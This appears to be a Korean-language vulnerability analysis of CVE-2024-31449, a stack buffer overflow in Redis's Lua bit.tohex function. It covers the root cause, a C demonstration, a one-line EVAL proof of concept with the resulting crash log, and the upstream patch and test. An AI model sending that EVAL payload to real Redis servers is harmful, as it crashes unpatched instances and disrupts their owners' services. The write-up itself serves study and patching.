Table of Contents
Introduction #
본 취약점은 Redis 6.2.16 이전 버전 Lua의 16진수 문자열 변환 기능에서 발생한 스택 버퍼 오버플로우이다. 이 취약점은 스택 버퍼의 범위를 넘어선 쓰기를 가능하게 한다. 본 글에서는 Redis 6.2.14 버전을 기준으로 이 취약점을 알아볼 것이다[1, 2, 3].
Root-cause Analysis #
Redis의 Lua 구현에서 bit_tohex 함수 코드는 다음과 같다 (deps/lua/src/lua_bit.c에서 발췌)[3].
static int bit_tohex(lua_State *L)
{
UBits b = barg(L, 1);
SBits n = lua_isnone(L, 2) ? 8 : (SBits)barg(L, 2);
const char *hexdigits = "0123456789abcdef";
char buf[8];
int i;
if (n < 0) { n = -n; hexdigits = "0123456789ABCDEF"; }
if (n > 8) n = 8;
for (i = (int)n; --i >= 0; ) { buf[i] = hexdigits[b & 15]; b >>= 4; }
lua_pushlstring(L, buf, (size_t)n);
return 1;
}
위 코드에서 변수 n을 검증하는 코드는 특정 값에서는 불충분하다. 다음 코드를 컴파일하여 실행해보면 음수가 여전히 검증 코드를 통과함을 알 수 있다.
#include <stdio.h>
#include <stdint.h>
#define MYPTRDIFF_MIN 0x80000000
/* gcc test.c */
int main()
{
int i;
int32_t n;
n = MYPTRDIFF_MIN;
printf("n: %x\n", n);
if (n < 0) {
n = -n;
printf("n: %x\n", n);
puts("n is negative");
}
if (n > 8) {
n = 8;
puts("n is greater than 8");
}
i = (int) n;
printf("i: %d\n", i);
return 0;
}
$ gcc test.c
$ ./a.out
n: 80000000
n: 80000000
n is negative
i: -2147483648
$
Proof-of-Concept #
Redis 커맨드 라인은 Lua 스크립트를 실행하기 위한 EVAL 명령어를 제공한다. 그리고 상기에 다룬 bit_tohex()는 Lua 스크립트에서 bit.tohex()로 호출할 수 있다. 또, Lua 스크립트에서는 ARGV를 사용하여 인자를 받을 수 있는데, 인자들은 barg()를 거쳐 bit_tohex() 내에서 사용된다. 이로부터 다음과 같이 코드를 작성할 수 있다[4, 5, 6].
EVAL "return bit.tohex(ARGV[1], ARGV[2])" 0 0xff 0x80000000
위 코드를 Redis 커맨드 라인에서 실행하면 Redis 서버에서 segmentation fault가 발생한다.
$ ./redis-server
84694:C 05 Apr 2026 19:14:35.621 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
84694:C 05 Apr 2026 19:14:35.621 # Redis version=6.2.14, bits=64, commit=00000000, modified=0, pid=84694, just started
84694:C 05 Apr 2026 19:14:35.621 # Warning: no config file specified, using the default config. In order to specify a config file use ./redis-server /path/to/redis.conf
84694:M 05 Apr 2026 19:14:35.622 * Increased maximum number of open files to 10032 (it was originally set to 1024).
84694:M 05 Apr 2026 19:14:35.622 * monotonic clock: POSIX clock_gettime
_._
_.-``__ ''-._
_.-`` `. `_. ''-._ Redis 6.2.14 (00000000/0) 64 bit
.-`` .-```. ```\/ _.,_ ''-._
( ' , .-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
| `-._ `._ / _.-' | PID: 84694
`-._ `-._ `-./ _.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' | https://redis.io
`-._ `-._`-.__.-'_.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' |
`-._ `-._`-.__.-'_.-' _.-'
`-._ `-.__.-' _.-'
`-._ _.-'
`-.__.-'
84694:M 05 Apr 2026 19:14:35.622 # Server initialized
84694:M 05 Apr 2026 19:14:35.622 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
84694:M 05 Apr 2026 19:14:35.766 * Loading RDB produced by version 6.2.14
84694:M 05 Apr 2026 19:14:35.766 * RDB age 179782 seconds
84694:M 05 Apr 2026 19:14:35.766 * RDB memory usage when created 0.78 Mb
84694:M 05 Apr 2026 19:14:35.766 # Done loading RDB, keys loaded: 1, keys expired: 0.
84694:M 05 Apr 2026 19:14:35.766 * DB loaded from disk: 0.143 seconds
84694:M 05 Apr 2026 19:14:35.766 * Ready to accept connections
=== REDIS BUG REPORT START: Cut & paste starting from here ===
84694:M 05 Apr 2026 19:15:01.078 # Redis 6.2.14 crashed by signal: 11, si_code: 1
84694:M 05 Apr 2026 19:15:01.078 # Accessing address: 0x7ffcf311b20f
84694:M 05 Apr 2026 19:15:01.078 # Crashed running the instruction at: 0x643c3e98f348
------ STACK TRACE ------
EIP:
./redis-server *:6379(+0x131348)[0x643c3e98f348]
Backtrace:
/lib/x86_64-linux-gnu/libc.so.6(+0x42520)[0x78cba1842520]
./redis-server *:6379(+0x131348)[0x643c3e98f348]
./redis-server *:6379(+0x1192fa)[0x643c3e9772fa]
./redis-server *:6379(+0x1239c1)[0x643c3e9819c1]
./redis-server *:6379(+0x1199ad)[0x643c3e9779ad]
./redis-server *:6379(+0x118c53)[0x643c3e976c53]
./redis-server *:6379(+0x119b64)[0x643c3e977b64]
./redis-server *:6379(lua_pcall+0x5c)[0x643c3e974c8c]
./redis-server *:6379(evalGenericCommand+0x1fe)[0x643c3e918e8e]
./redis-server *:6379(call+0xee)[0x643c3e8ac8fe]
./redis-server *:6379(processCommand+0x763)[0x643c3e8ae803]
./redis-server *:6379(processInputBuffer+0x103)[0x643c3e8c2c93]
./redis-server *:6379(+0x1071a4)[0x643c3e9651a4]
./redis-server *:6379(+0x46328)[0x643c3e8a4328]
./redis-server *:6379(aeMain+0x1d)[0x643c3e8a4ddd]
./redis-server *:6379(main+0x328)[0x643c3e8a0e98]
/lib/x86_64-linux-gnu/libc.so.6(+0x29d90)[0x78cba1829d90]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0x80)[0x78cba1829e40]
./redis-server *:6379(_start+0x25)[0x643c3e8a13b5]
------ REGISTERS ------
84694:M 05 Apr 2026 19:15:01.080 #
RAX:00007ffcf311b20e RBX:000000000000000f
RCX:00007ffc7311b20f RDX:0000000000000046
RDI:00007ffc7311b210 RSI:0000643c3ea2b257
RBP:0000643c480ff4f0 RSP:00007ffc7311b210
R8 :0000000000000000 R9 :0000000000000000
R10:0010000000000000 R11:0010000000000000
R12:ffffffff80000000 R13:0000643c48109c2c
R14:0000643c480ff790 R15:0000643c480ff4f0
RIP:0000643c3e98f348 EFL:0000000000010206
CSGSFS:002b000000000033
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21f) -> 0000643c3ea29ae8
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21e) -> 0000643c48109c2c
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21d) -> 0000643c480ff790
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21c) -> 0000000000000000
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21b) -> 0000643c480ff4f0
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b21a) -> 000000000000b000
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b219) -> 0000643c480ff7b0
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b218) -> 000078cba1522640
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b217) -> 0000643c3e98034d
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b216) -> 0000643c480ff7b0
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b215) -> 0000643c3e9772fa
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b214) -> 0000643c480ff790
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b213) -> 00000000ffffffff
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b212) -> 0000643c480ff7a0
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b211) -> afc5cf09ccb7a200
84694:M 05 Apr 2026 19:15:01.080 # (00007ffc7311b210) -> 0000643c48109c40
------ INFO OUTPUT ------
# Server
redis_version:6.2.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:2b4797676fee72f0
redis_mode:standalone
os:Linux 6.8.0-106-generic x86_64
arch_bits:64
monotonic_clock:POSIX clock_gettime
multiplexing_api:epoll
atomicvar_api:c11-builtin
gcc_version:12.3.0
process_id:84694
process_supervised:no
run_id:0c7db82567fcc1884fb016091944e7a9df69d997
tcp_port:6379
server_time_usec:1775384101078086
uptime_in_seconds:26
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:13776421
executable:/home/omacs/org/va/1day/cve-2024-31449/redis-6.2.14/src/./redis-server
config_file:
io_threads_active:0
# Clients
connected_clients:1
cluster_connections:0
maxclients:10000
client_recent_max_input_buffer:16
client_recent_max_output_buffer:0
blocked_clients:0
tracking_clients:0
clients_in_timeout_table:0
# Memory
used_memory:876064
used_memory_human:855.53K
used_memory_rss:5898240
used_memory_rss_human:5.62M
used_memory_peak:933920
used_memory_peak_human:912.03K
used_memory_peak_perc:93.81%
used_memory_overhead:832680
used_memory_startup:811936
used_memory_dataset:43384
used_memory_dataset_perc:67.65%
allocator_allocated:1032368
allocator_active:1253376
allocator_resident:4067328
total_system_memory:16558194688
total_system_memory_human:15.42G
used_memory_lua:31744
used_memory_lua_human:31.00K
used_memory_scripts:144
used_memory_scripts_human:144B
number_of_cached_scripts:1
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.21
allocator_frag_bytes:221008
allocator_rss_ratio:3.25
allocator_rss_bytes:2813952
rss_overhead_ratio:1.45
rss_overhead_bytes:1830912
mem_fragmentation_ratio:7.08
mem_fragmentation_bytes:5065216
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:20496
mem_aof_buffer:0
mem_allocator:jemalloc-5.1.0
active_defrag_running:0
lazyfree_pending_objects:0
lazyfreed_objects:0
# Persistence
loading:0
current_cow_size:0
current_cow_size_age:0
current_fork_perc:0.00
current_save_keys_processed:0
current_save_keys_total:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1775384075
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0
module_fork_in_progress:0
module_fork_last_cow_size:0
# Stats
total_connections_received:1
total_commands_processed:1
instantaneous_ops_per_sec:0
total_net_input_bytes:106
total_net_output_bytes:20324
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
expire_cycle_cpu_milliseconds:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
total_forks:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
tracking_total_keys:0
tracking_total_items:0
tracking_total_prefixes:0
unexpected_error_replies:0
total_error_replies:0
dump_payload_sanitizations:0
total_reads_processed:2
total_writes_processed:1
io_threaded_reads_processed:0
io_threaded_writes_processed:0
# Replication
role:master
connected_slaves:0
master_failover_state:no-failover
master_replid:0c07a83450097531d807d1ff41c9821b6ac1d467
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:0.035854
used_cpu_user:0.021729
used_cpu_sys_children:0.000000
used_cpu_user_children:0.000000
used_cpu_sys_main_thread:0.035664
used_cpu_user_main_thread:0.021614
# Modules
# Commandstats
cmdstat_command:calls=1,usec=766,usec_per_call=766.00,rejected_calls=0,failed_calls=0
# Errorstats
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=1,expires=0,avg_ttl=0
------ CLIENT LIST OUTPUT ------
id=3 addr=127.0.0.1:59854 laddr=127.0.0.1:6379 fd=8 name= age=23 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=89 qbuf-free=40865 argv-mem=53 obl=0 oll=0 omem=0 tot-mem=61533 events=r cmd=eval user=default redir=-1
------ CURRENT CLIENT INFO ------
id=3 addr=127.0.0.1:59854 laddr=127.0.0.1:6379 fd=8 name= age=23 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=89 qbuf-free=40865 argv-mem=53 obl=0 oll=0 omem=0 tot-mem=61533 events=r cmd=eval user=default redir=-1
argv[0]: 'EVAL'
argv[1]: 'return bit.tohex(ARGV[1], ARGV[2])'
argv[2]: '0'
argv[3]: '0xff'
argv[4]: '0x80000000'
------ MODULES INFO OUTPUT ------
------ FAST MEMORY TEST ------
84694:M 05 Apr 2026 19:15:01.081 # Bio thread for job type #0 terminated
84694:M 05 Apr 2026 19:15:01.081 # Bio thread for job type #1 terminated
84694:M 05 Apr 2026 19:15:01.081 # Bio thread for job type #2 terminated
*** Preparing to test memory region 643c3ea7e000 (2277376 bytes)
*** Preparing to test memory region 643c480fa000 (135168 bytes)
*** Preparing to test memory region 78cb9e7fd000 (8388608 bytes)
*** Preparing to test memory region 78cb9effe000 (8388608 bytes)
*** Preparing to test memory region 78cb9f7ff000 (8388608 bytes)
*** Preparing to test memory region 78cba0000000 (8388608 bytes)
*** Preparing to test memory region 78cba1000000 (8388608 bytes)
*** Preparing to test memory region 78cba1a1c000 (53248 bytes)
*** Preparing to test memory region 78cba1ab2000 (16384 bytes)
*** Preparing to test memory region 78cba1bb9000 (8192 bytes)
.O.O.O.O.O.O.O.O.O.O
Fast memory test PASSED, however your memory can still be broken. Please run a memory test for several hours if possible.
------ DUMPING CODE AROUND EIP ------
Symbol: (null) (base: (nil))
Module: ./redis-server *:6379 (base 0x643c3e85e000)
$ xxd -r -p /tmp/dump.hex /tmp/dump.bin
$ objdump --adjust-vma=(nil) -D -b binary -m i386:x86-64 /tmp/dump.bin
------
=== REDIS BUG REPORT END. Make sure to include from START to END. ===
Please report the crash by opening an issue on github:
http://github.com/redis/redis/issues
If a Redis module was involved, please open in the module's repo instead.
Suspect RAM error? Use redis-server --test-memory to verify it.
Some other issues could be detected by redis-server --check-system
Segmentation fault (core dumped)
$
Patch #
패치는 문제가 된 값인 0x80000000을 처리하는 코드를 추가하는 방식으로 진행되었다[1].
diff --git a/deps/lua/src/lua_bit.c b/deps/lua/src/lua_bit.c
index 690df7d3ce6..a459ca98b18 100644
--- a/deps/lua/src/lua_bit.c
+++ b/deps/lua/src/lua_bit.c
@@ -131,6 +131,7 @@ static int bit_tohex(lua_State *L)
const char *hexdigits = "0123456789abcdef";
char buf[8];
int i;
+ if (n == INT32_MIN) n = INT32_MIN+1;
if (n < 0) { n = -n; hexdigits = "0123456789ABCDEF"; }
if (n > 8) n = 8;
for (i = (int)n; --i >= 0; ) { buf[i] = hexdigits[b & 15]; b >>= 4; }
diff --git a/tests/unit/scripting.tcl b/tests/unit/scripting.tcl
index 2e3a936c4e6..2381927cda2 100644
--- a/tests/unit/scripting.tcl
+++ b/tests/unit/scripting.tcl
@@ -528,6 +528,12 @@ start_server {tags {"scripting"}} {
set e
} {ERR*Attempt to modify a readonly table*}
+ test {lua bit.tohex bug} {
+ set res [r eval {return bit.tohex(65535, -2147483648)} 0]
+ r ping
+ set res
+ } {0000FFFF}
+
test {Test an example script DECR_IF_GT} {
set decr_if_gt {
local current
References #
- oranagra, "Fix lua bit.tohex (CVE-2024-31449)." github.com, Accessed: Apr. 04, 2026. [Online]. Available: https://github.com/redis/redis/commit/1f7c148be2cbacf7d50aa461c58b871e87cc5ed9#diff-02e137d15d64a8f8f039d7c0a313402ac32e8a78245fc6ba85804a57c8f07f51
- "CVE-2024-31449 Detail." nvd.nist.gov, Accessed: Apr. 04, 2026. [Online]. Available: https://nvd.nist.gov/vuln/detail/CVE-2024-31449
- antirez et al., "redis", (Version 6.2.14) [Source Code]. https://github.com/redis/redis
- "Scripting with Lua." redis.io, Accessed: Apr. 04, 2026. [Online]. Available: https://redis.io/docs/latest/develop/programmability/eval-intro/
- "Redis Lua API reference." redis.io, Accessed: Apr. 04, 2026. [Online]. Available: https://redis.io/docs/latest/develop/programmability/lua-api/
- "Install Redis from Source." redis.io, Accessed: Apr. 04, 2026. [Online]. Available: https://redis.io/docs/latest/operate/oss_and_stack/install/archive/install-redis/install-redis-from-source/
last updated: